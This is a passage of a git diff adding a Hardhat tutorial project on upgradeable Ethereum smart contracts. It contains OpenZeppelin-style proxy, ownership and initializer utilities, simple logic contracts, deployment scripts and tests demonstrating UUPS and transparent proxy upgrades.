+    function __Context_init() internal initializer {
+        __Context_init_unchained();
+    }
+
+    function __Context_init_unchained() internal initializer {
+    }
+    function _msgSender() internal view virtual returns (address) {
+        return msg.sender;
+    }
+
+    function _msgData() internal view virtual returns (bytes calldata) {
+        return msg.data;
+    }
+    uint256[50] private __gap;
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/Initializable.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/Initializable.sol
new file mode 100644
index 000000000..fe04e54ca
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/Initializable.sol
@@ -0,0 +1,61 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+// /**
+//  * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
+//  * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
+//  * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
+//  * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
+//  *
+//  * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
+//  * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
+//  *
+//  * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
+//  * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
+//  *
+//  * [CAUTION]
+//  * ====
+//  * Avoid leaving a contract uninitialized.
+//  *
+//  * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
+//  * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
+//  * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
+//  *
+//  * [.hljs-theme-light.nopadding]
+//  * ```
+//  * /// @custom:oz-upgrades-unsafe-allow constructor
+//  * constructor() initializer {}
+//  * ```
+//  * ====
+//  */
+abstract contract Initializable {
+    /**
+     * @dev Indicates that the contract has been initialized.
+     */
+    bool private _initialized;
+
+    /**
+     * @dev Indicates that the contract is in the process of being initialized.
+     */
+    bool private _initializing;
+
+    /**
+     * @dev Modifier to protect an initializer function from being invoked twice.
+     */
+    modifier initializer() {
+        require(_initializing || !_initialized, "Initializable: contract is already initialized");
+
+        bool isTopLevelCall = !_initializing;
+        if (isTopLevelCall) {
+            _initializing = true;
+            _initialized = true;
+        }
+
+        _;
+
+        if (isTopLevelCall) {
+            _initializing = false;
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/Ownable.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/Ownable.sol
new file mode 100644
index 000000000..e5f8ebd32
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/Ownable.sol
@@ -0,0 +1,75 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./Context.sol";
+
+/**
+ * @dev Contract module which provides a basic access control mechanism, where
+ * there is an account (an owner) that can be granted exclusive access to
+ * specific functions.
+ *
+ * By default, the owner account will be the one that deploys the contract. This
+ * can later be changed with {transferOwnership}.
+ *
+ * This module is used through inheritance. It will make available the modifier
+ * `onlyOwner`, which can be applied to your functions to restrict their use to
+ * the owner.
+ */
+abstract contract Ownable is Context {
+    address private _owner;
+
+    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
+
+    /**
+     * @dev Initializes the contract setting the deployer as the initial owner.
+     */
+    constructor() {
+        _transferOwnership(_msgSender());
+    }
+
+    /**
+     * @dev Returns the address of the current owner.
+     */
+    function owner() public view virtual returns (address) {
+        return _owner;
+    }
+
+    /**
+     * @dev Throws if called by any account other than the owner.
+     */
+    modifier onlyOwner() {
+        require(owner() == _msgSender(), "Ownable: caller is not the owner");
+        _;
+    }
+
+    /**
+     * @dev Leaves the contract without owner. It will not be possible to call
+     * `onlyOwner` functions anymore. Can only be called by the current owner.
+     *
+     * NOTE: Renouncing ownership will leave the contract without an owner,
+     * thereby removing any functionality that is only available to the owner.
+     */
+    function renounceOwnership() public virtual onlyOwner {
+        _transferOwnership(address(0));
+    }
+
+    /**
+     * @dev Transfers ownership of the contract to a new account (`newOwner`).
+     * Can only be called by the current owner.
+     */
+    function transferOwnership(address newOwner) public virtual onlyOwner {
+        require(newOwner != address(0), "Ownable: new owner is the zero address");
+        _transferOwnership(newOwner);
+    }
+
+    /**
+     * @dev Transfers ownership of the contract to a new account (`newOwner`).
+     * Internal function without access restriction.
+     */
+    function _transferOwnership(address newOwner) internal virtual {
+        address oldOwner = _owner;
+        _owner = newOwner;
+        emit OwnershipTransferred(oldOwner, newOwner);
+    }
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/OwnableUpgradeable.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/OwnableUpgradeable.sol
new file mode 100644
index 000000000..c0e06e53d
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/OwnableUpgradeable.sol
@@ -0,0 +1,82 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./ContextUpgradeable.sol";
+import "./Initializable.sol";
+
+/**
+ * @dev Contract module which provides a basic access control mechanism, where
+ * there is an account (an owner) that can be granted exclusive access to
+ * specific functions.
+ *
+ * By default, the owner account will be the one that deploys the contract. This
+ * can later be changed with {transferOwnership}.
+ *
+ * This module is used through inheritance. It will make available the modifier
+ * `onlyOwner`, which can be applied to your functions to restrict their use to
+ * the owner.
+ */
+abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
+    address private _owner;
+
+    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
+
+    /**
+     * @dev Initializes the contract setting the deployer as the initial owner.
+     */
+    function __Ownable_init() internal initializer {
+        __Context_init_unchained();
+        __Ownable_init_unchained();
+    }
+
+    function __Ownable_init_unchained() internal initializer {
+        _transferOwnership(_msgSender());
+    }
+
+    /**
+     * @dev Returns the address of the current owner.
+     */
+    function owner() public view virtual returns (address) {
+        return _owner;
+    }
+
+    /**
+     * @dev Throws if called by any account other than the owner.
+     */
+    modifier onlyOwner() {
+        require(owner() == _msgSender(), "Ownable: caller is not the owner");
+        _;
+    }
+
+    /**
+     * @dev Leaves the contract without owner. It will not be possible to call
+     * `onlyOwner` functions anymore. Can only be called by the current owner.
+     *
+     * NOTE: Renouncing ownership will leave the contract without an owner,
+     * thereby removing any functionality that is only available to the owner.
+     */
+    function renounceOwnership() public virtual onlyOwner {
+        _transferOwnership(address(0));
+    }
+
+    /**
+     * @dev Transfers ownership of the contract to a new account (`newOwner`).
+     * Can only be called by the current owner.
+     */
+    function transferOwnership(address newOwner) public virtual onlyOwner {
+        require(newOwner != address(0), "Ownable: new owner is the zero address");
+        _transferOwnership(newOwner);
+    }
+
+    /**
+     * @dev Transfers ownership of the contract to a new account (`newOwner`).
+     * Internal function without access restriction.
+     */
+    function _transferOwnership(address newOwner) internal virtual {
+        address oldOwner = _owner;
+        _owner = newOwner;
+        emit OwnershipTransferred(oldOwner, newOwner);
+    }
+    uint256[49] private __gap;
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/StorageSlot.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/StorageSlot.sol
new file mode 100644
index 000000000..39f95f0ee
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/StorageSlot.sol
@@ -0,0 +1,83 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+/**
+ * @dev Library for reading and writing primitive types to specific storage slots.
+ *
+ * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
+ * This library helps with reading and writing to such slots without the need for inline assembly.
+ *
+ * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
+ *
+ * Example usage to set ERC1967 implementation slot:
+ * ```
+ * contract ERC1967 {
+ *     bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
+ *
+ *     function _getImplementation() internal view returns (address) {
+ *         return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
+ *     }
+ *
+ *     function _setImplementation(address newImplementation) internal {
+ *         require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
+ *         StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
+ *     }
+ * }
+ * ```
+ *
+ * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
+ */
+library StorageSlot {
+    struct AddressSlot {
+        address value;
+    }
+
+    struct BooleanSlot {
+        bool value;
+    }
+
+    struct Bytes32Slot {
+        bytes32 value;
+    }
+
+    struct Uint256Slot {
+        uint256 value;
+    }
+
+    /**
+     * @dev Returns an `AddressSlot` with member `value` located at `slot`.
+     */
+    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
+        assembly {
+            r.slot := slot
+        }
+    }
+
+    /**
+     * @dev Returns an `BooleanSlot` with member `value` located at `slot`.
+     */
+    function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
+        assembly {
+            r.slot := slot
+        }
+    }
+
+    /**
+     * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
+     */
+    function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
+        assembly {
+            r.slot := slot
+        }
+    }
+
+    /**
+     * @dev Returns an `Uint256Slot` with member `value` located at `slot`.
+     */
+    function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
+        assembly {
+            r.slot := slot
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type3-UUPS/LogicV1.sol b/basic/24-upgradeable-contract/contracts/type3-UUPS/LogicV1.sol
new file mode 100644
index 000000000..7c7880c5e
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type3-UUPS/LogicV1.sol
@@ -0,0 +1,34 @@
+
+// contract/MyLogicV1.sol
+
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
+import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
+import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
+
+contract MyLogicV1 is Initializable, UUPSUpgradeable, OwnableUpgradeable {
+    function initialize() initializer public {
+      __Ownable_init();
+      __UUPSUpgradeable_init();
+    }
+
+    /// @custom:oz-upgrades-unsafe-allow constructor
+    //constructor() initializer {}
+
+    function _authorizeUpgrade(address) internal override onlyOwner {}
+
+    mapping(string => uint256) private logic;
+
+    event logicSetted(string indexed _key, uint256 _value);
+
+    function SetLogic(string memory _key, uint256 _value) external {
+        logic[_key] = _value;
+        emit logicSetted(_key, _value);
+    }
+
+    function GetLogic(string memory _key) public view returns (uint256){
+        return logic[_key];
+    }
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type3-UUPS/LogicV2.sol b/basic/24-upgradeable-contract/contracts/type3-UUPS/LogicV2.sol
new file mode 100644
index 000000000..84ee511e6
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type3-UUPS/LogicV2.sol
@@ -0,0 +1,34 @@
+
+// contract/MyLogicV2.sol
+
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
+import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
+import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
+
+contract MyLogicV2 is Initializable, UUPSUpgradeable, OwnableUpgradeable {
+    function initialize() initializer public {
+      __Ownable_init();
+      __UUPSUpgradeable_init();
+    }
+
+    /// @custom:oz-upgrades-unsafe-allow constructor
+  //  constructor() initializer {}
+
+    function _authorizeUpgrade(address) internal override onlyOwner {}
+
+    mapping(string => uint256) private logic;
+
+    event logicSetted(string indexed _key, uint256 _value);
+
+    function SetLogic(string memory _key, uint256 _value) external {
+        logic[_key] = _value;
+        emit logicSetted(_key, _value);
+    }
+
+    function GetLogic(string memory _key) public view returns (uint256){
+        return logic[_key]+100;
+    }
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type3-UUPS/LogicV3.sol b/basic/24-upgradeable-contract/contracts/type3-UUPS/LogicV3.sol
new file mode 100644
index 000000000..69eca7467
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type3-UUPS/LogicV3.sol
@@ -0,0 +1,32 @@
+
+// contract/MyLogicV1.sol
+
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
+// import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
+// import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
+
+contract MyLogicV3 is Initializable {
+    function initialize() initializer public {
+    }
+
+    /// @custom:oz-upgrades-unsafe-allow constructor
+    //constructor() initializer {}
+
+  
+
+    mapping(string => uint256) private logic;
+
+    event logicSetted(string indexed _key, uint256 _value);
+
+    function SetLogic(string memory _key, uint256 _value) external {
+        logic[_key] = _value;
+        emit logicSetted(_key, _value);
+    }
+
+    function GetLogic(string memory _key) public view returns (uint256){
+        return logic[_key];
+    }
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type3-UUPS/LogicV4.sol b/basic/24-upgradeable-contract/contracts/type3-UUPS/LogicV4.sol
new file mode 100644
index 000000000..677c594ef
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type3-UUPS/LogicV4.sol
@@ -0,0 +1,32 @@
+
+// contract/MyLogicV1.sol
+
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
+// import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
+// import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
+
+contract MyLogicV4 is Initializable {
+    function initialize() initializer public {
+    }
+
+    /// @custom:oz-upgrades-unsafe-allow constructor
+    //constructor() initializer {}
+
+  
+
+    mapping(string => uint256) private logic;
+
+    event logicSetted(string indexed _key, uint256 _value);
+
+    function SetLogic(string memory _key, uint256 _value) external {
+        logic[_key] = _value;
+        emit logicSetted(_key, _value);
+    }
+
+    function GetLogic(string memory _key) public view returns (uint256){
+        return logic[_key]+100;
+    }
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/hardhat.config.js b/basic/24-upgradeable-contract/hardhat.config.js
new file mode 100644
index 000000000..567063bb0
--- /dev/null
+++ b/basic/24-upgradeable-contract/hardhat.config.js
@@ -0,0 +1,79 @@
+require("@nomiclabs/hardhat-waffle");
+require('@openzeppelin/hardhat-upgrades');
+require("@nomiclabs/hardhat-etherscan");
+require('dotenv').config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+  return process.env.PRIVATE_KEY
+ 
+ }
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  etherscan: {
+    // Your API key for Etherscan
+    // Obtain one at https://etherscan.io/
+    apiKey: process.env.ETHERSCAN_APIKEY
+  },
+  solidity: {
+    compilers: [
+      {
+        version: "0.8.2"
+      },
+      {
+        version: "0.6.6",
+        settings: {}
+      },
+    ]
+  },
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: "https://rinkeby.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    kovan: {
+      url: "https://kovan.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    mainnet: {
+      url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    ropsten: {
+      url: "https://ropsten.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+  }
+};
diff --git a/basic/24-upgradeable-contract/image.png b/basic/24-upgradeable-contract/image.png
new file mode 100644
index 000000000..a86f40a64
Binary files /dev/null and b/basic/24-upgradeable-contract/image.png differ
diff --git a/basic/24-upgradeable-contract/package.json b/basic/24-upgradeable-contract/package.json
new file mode 100644
index 000000000..ad75fd2ec
--- /dev/null
+++ b/basic/24-upgradeable-contract/package.json
@@ -0,0 +1,26 @@
+{
+  "name": "24-upgradeable-contract",
+  "version": "1.0.0",
+  "description": "区块链信任基础的数据不可修改的特性, 让它传统应用程序有一个很大的不同的地方是一经发布于区块链上就无法修改. 一方面正式由于智能合约的不可修改的特性, 因为只要规则确定之后, 没人能够修改它, 大家才能够信任它. 但另一方面, 如果规则的实现有Bug, 可能会造成代币被盗, 或是调用消耗大量的gas. 这时就需要我们去修错误.    这里介绍一种可升级的合约设计模式.",
+  "main": "index.js",
+  "scripts": {
+    "test": "npx hardhat test"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@nomiclabs/hardhat-etherscan": "^3.1.0",
+    "@openzeppelin/contracts-upgradeable": "^4.6.0",
+    "dotenv": "^10.0.0",
+    "hardhat": "^2.6.1"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "@openzeppelin/hardhat-upgrades": "^1.19.0",
+    "chai": "^4.2.0",
+    "ethereum-waffle": "^3.0.0",
+    "ethers": "^5.0.0"
+  }
+}
diff --git a/basic/24-upgradeable-contract/scripts/deploy.js b/basic/24-upgradeable-contract/scripts/deploy.js
new file mode 100644
index 000000000..a8f73a450
--- /dev/null
+++ b/basic/24-upgradeable-contract/scripts/deploy.js
@@ -0,0 +1,81 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+// todo 
+async function main() {
+  let params;
+  let paramsNew;
+  let proxyAdminContract;
+  let transparentUpgradeableProxyContract;
+  
+  let [alice] = await ethers.getSigners();
+
+  // Deploy paramsContract
+  let paramsContractFactory = await hre.ethers.getContractFactory('Params');
+  params = await paramsContractFactory.deploy();
+  await params.deployed();
+  console.log("params contract address: ", params.address);
+
+
+  // Deploy ProxyAdmin
+  let proxyAdminContractFactory = await ethers.getContractFactory(
+    'ProxyAdmin'
+  );
+  proxyAdminContract = await proxyAdminContractFactory.deploy();
+  await proxyAdminContract.deployed();
+  console.log("ProxyAdmin contract address: ", proxyAdminContract.address)
+
+  // Deploy TransparentUpgradeableProxy
+  let transparentUpgradeableProxyContractFactory = await ethers.getContractFactory(
+    'TransparentUpgradeableProxy'
+  );
+  transparentUpgradeableProxyContract = await transparentUpgradeableProxyContractFactory.deploy(params.address, proxyAdminContract.address,"0x8129fc1c" );
+  await transparentUpgradeableProxyContract.deployed();
+  console.log("transparentUpgradeableProxy  contract address: ", transparentUpgradeableProxyContract.address)
+ 
+  let paramsNewContractFactory = await ethers.getContractFactory('ParamsNew');
+  paramsNew = await paramsNewContractFactory.deploy();
+  await paramsNew.deployed();
+  console.log("paramsNew contract address: ", paramsNew.address);
+
+  let ABI = [
+    "function SetUint256Param(string,uint256)"
+];
+let iface = new ethers.utils.Interface(ABI);
+let data = iface.encodeFunctionData("SetUint256Param", [ "1", 2 ]);
+console.log("data: ", data);
+let tx = await alice.sendTransaction({to: transparentUpgradeableProxyContract.address, data: data});
+const res = await tx.wait();
+console.log("TX: ", tx);
+// console.log(res.events);
+// console.log("event: ", res.events[0].args[0],res.events[0].args[0]);
+
+const value = await params.GetUint256Param("1");
+
+console.log(value)
+// expect(value.to.equal(1));
+
+
+await proxyAdminContract.upgrade(transparentUpgradeableProxyContract.address, paramsNew.address );
+  
+let tx1 = await alice.sendTransaction({to: transparentUpgradeableProxyContract.address, data: data});
+await tx.wait();
+console.log("TX1: ", tx1);
+
+const value1 = await paramsNew.GetUint256Param("1");
+console.log(value1)
+
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/24-upgradeable-contract/scripts/deploy_Transparent.js b/basic/24-upgradeable-contract/scripts/deploy_Transparent.js
new file mode 100644
index 000000000..57f967608
--- /dev/null
+++ b/basic/24-upgradeable-contract/scripts/deploy_Transparent.js
@@ -0,0 +1,45 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers, upgrades } = require("hardhat");
+
+// todo 
+async function main() {
+ 
+  let [alice] = await ethers.getSigners();
+  console.log(alice.address);
+  
+    const MyLogicV1 = await ethers.getContractFactory('MyLogicV3');
+    
+    //  transparent  
+    //  proxyadmin , TransparentProxy ,
+      myLogicV1 = await upgrades.deployProxy(MyLogicV1, {kind: 'transparent'});
+      console.log(myLogicV1.address);
+
+ 
+      await myLogicV1.SetLogic("aa", 1);
+      let value = await myLogicV1.GetLogic("aa");
+      console.log(value)
+      const MyLogicV2 = await ethers.getContractFactory('MyLogicV4');
+
+
+      myLogicV2 =  await upgrades.upgradeProxy(myLogicV1, MyLogicV2);
+      console.log(myLogicV2.address);
+  
+     let value1 = await myLogicV2.GetLogic("aa");
+  
+     console.log(value1)
+
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/24-upgradeable-contract/scripts/deploy_UUPS.js b/basic/24-upgradeable-contract/scripts/deploy_UUPS.js
new file mode 100644
index 000000000..fec6ea1fb
--- /dev/null
+++ b/basic/24-upgradeable-contract/scripts/deploy_UUPS.js
@@ -0,0 +1,43 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers, upgrades } = require("hardhat");
+
+// todo 
+async function main() {
+ 
+  let [alice] = await ethers.getSigners();
+  console.log(alice.address);
+  
+    const MyLogicV1 = await ethers.getContractFactory('MyLogicV1');
+    
+      myLogicV1 = await upgrades.deployProxy(MyLogicV1, {kind: 'uups'});
+      console.log(myLogicV1.address);
+
+ 
+      await myLogicV1.SetLogic("aa", 1);
+      let value = await myLogicV1.GetLogic("aa");
+      console.log(value)
+      const MyLogicV2 = await ethers.getContractFactory('MyLogicV2');
+
+
+      myLogicV2 =  await upgrades.upgradeProxy(myLogicV1, MyLogicV2);
+      console.log(myLogicV2.address);
+  
+     let value1 = await myLogicV2.GetLogic("aa");
+  
+     console.log(value1)
+
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/24-upgradeable-contract/test/controlContract_test.js b/basic/24-upgradeable-contract/test/controlContract_test.js
new file mode 100644
index 000000000..d11bdd857
--- /dev/null
+++ b/basic/24-upgradeable-contract/test/controlContract_test.js
@@ -0,0 +1,61 @@
+const { expect } = require('chai');
+
+describe('Control contract', function () {
+  let dataContract;
+  let controlContract;
+  let alice;
+
+  beforeEach(async function () {
+    [alice] = await ethers.getSigners();
+
+    // Deploy DataContract
+    let dataContractFactory = await ethers.getContractFactory('DataContract');
+    dataContract = await dataContractFactory.deploy();
+    await dataContract.deployed();
+
+    // Deploy ControlContract
+    let controlContractFactory = await ethers.getContractFactory(
+      'ControlContract'
+    );
+    controlContract = await controlContractFactory.deploy(dataContract.address);
+    await controlContract.deployed();
+  });
+
+  it('Only deployer can set the balance', async function () {
+    const artifact = artifacts.readArtifactSync('DataContract');
+    const aliceDataContract = new ethers.Contract(
+      dataContract.address,
+      artifact.abi,
+      alice
+    );
+    await aliceDataContract.setBalance(alice.address, 100);
+
+    // Check balance
+    expect(await aliceDataContract.getBalance(alice.address)).to.equal(100);
+  });
+
+  it('Other account cannot set the balance', async function () {
+    await expect(
+      controlContract.setBalance(controlContract.address, 100)
+    ).to.be.revertedWith('Not sufficient permission');
+  });
+
+  it('The control contract can send TX when it has permission', async function () {
+
+    const artifact = artifacts.readArtifactSync('DataContract');
+    const aliceDataContract = new ethers.Contract(
+      dataContract.address,
+      artifact.abi,
+      alice
+    );
+    await aliceDataContract.allowAccess(controlContract.address);
+
+    // Control Contract set balance
+    await controlContract.setBalance(controlContract.address, 100);
+
+    // Check balance
+    expect(await controlContract.getBalance(controlContract.address)).to.equal(
+      100
+    );
+  });
+});
diff --git a/basic/24-upgradeable-contract/test/proxyContract_test.js b/basic/24-upgradeable-contract/test/proxyContract_test.js
new file mode 100644
index 000000000..02164f0e9
--- /dev/null
+++ b/basic/24-upgradeable-contract/test/proxyContract_test.js
@@ -0,0 +1,120 @@
+const { expect } = require('chai');
+
+describe('proxy contract', function () {
+  let params;
+  let paramsNew;
+  let proxyAdminContract;
+  let transparentUpgradeableProxyContract;
+
+  let alice;
+
+  beforeEach(async function () {
+    [alice] = await ethers.getSigners();
+
+    // Deploy paramsContract
+    let paramsContractFactory = await hre.ethers.getContractFactory('Params');
+    params = await paramsContractFactory.deploy();
+    await params.deployed();
+    console.log("params contract address: ", params.address);
+
+
+    // Deploy ProxyAdmin
+    let proxyAdminContractFactory = await ethers.getContractFactory(
+      'ProxyAdmin'
+    );
+    proxyAdminContract = await proxyAdminContractFactory.deploy();
+    await proxyAdminContract.deployed();
+    console.log("ProxyAdmin contract address: ", proxyAdminContract.address)
+
+    // Deploy TransparentUpgradeableProxy
+    let transparentUpgradeableProxyContractFactory = await ethers.getContractFactory(
+      'TransparentUpgradeableProxy'
+    );
+    //initialize，本方法对应的code为 0x8129fc1c
+    transparentUpgradeableProxyContract = await transparentUpgradeableProxyContractFactory.deploy(params.address, proxyAdminContract.address,"0x8129fc1c" );
+    await transparentUpgradeableProxyContract.deployed();
+    console.log("transparentUpgradeableProxy  contract address: ", transparentUpgradeableProxyContract.address)
+
+    console.log( await proxyAdminContract.getProxyAdmin(transparentUpgradeableProxyContract.address));
+
+
+
+     
+   
+ 
+
+  });
+
+  it('upgrade to paramsNew', async function () {
+
+    // reverted with reason string : Ownable: caller is not the owner
+    // await params.SetUint256Param("1",1);
+    // console.log(await params.GetUint256Param("1"));
+
+    // Deploy new paramsContract
+    let paramsNewContractFactory = await ethers.getContractFactory('ParamsNew');
+    paramsNew = await paramsNewContractFactory.deploy();
+    await paramsNew.deployed();
+    console.log("paramsNew contract address: ", paramsNew.address);
+
+    let ABI = [
+      "function SetUint256Param(string,uint256)",
+      "function GetUint256Param(string)"
+  ];
+  let iface = new ethers.utils.Interface(ABI);
+  let data = iface.encodeFunctionData("SetUint256Param", [ "1", 2 ]);
+  let dataGet = iface.encodeFunctionData("GetUint256Param", [ "1" ]);
+
+  let tx = await alice.sendTransaction({to: transparentUpgradeableProxyContract.address, data: data});
+  const getTransactionReceipt= await tx.wait();
+  
+  let eventabi = [ "event Uint256ParamSetted(string indexed _key,uint256 _value);" ];
+  let iface1 = new ethers.utils.Interface(eventabi);
+  let log = iface1.parseLog(getTransactionReceipt.logs[0]);
+
+  console.log("log: ", log.args);
+
+  // just some check 
+  const value = await params.GetUint256Param("1");
+  console.log(value)
+
+  // upgrade before 
+  let resultBefore = await alice.call({to: transparentUpgradeableProxyContract.address, data: dataGet});
+  expect(resultBefore).to.equal('0x0000000000000000000000000000000000000000000000000000000000000002');
+
+  
+  let txUpgrade = await proxyAdminContract.upgrade(transparentUpgradeableProxyContract.address,paramsNew.address );
+  let txUpgradeReceipt = await txUpgrade.wait();
+  console.log("tx: ",txUpgradeReceipt)
+
+
+  let result = await alice.call({to: transparentUpgradeableProxyContract.address, data: dataGet});
+  expect(result).to.equal('0x0000000000000000000000000000000000000000000000000000000000000003');
+  // more elegant way
+  const paramsNewWithProxy = await paramsNew.attach(transparentUpgradeableProxyContract.address)
+  let result1 = await paramsNewWithProxy.GetUint256Param("1");
+  console.log("result1:", result1);
+  expect(result1).to.equal(3);
+
+  let tx1 = await alice.sendTransaction({to: transparentUpgradeableProxyContract.address, data: data});
+  const getTransactionReceipt1 = await tx1.wait();
+
+  let log1 = iface1.parseLog(getTransactionReceipt1.logs[0]);
+
+
+  //not change 
+  const value1 = await paramsNew.GetUint256Param("1");
+  console.log(value1)
+
+
+
+   // change admin
+   let txxx = await proxyAdminContract.transferOwnership(alice.address);
+   //console.log(await txxx.wait());
+
+
+
+  });
+
+  
+});
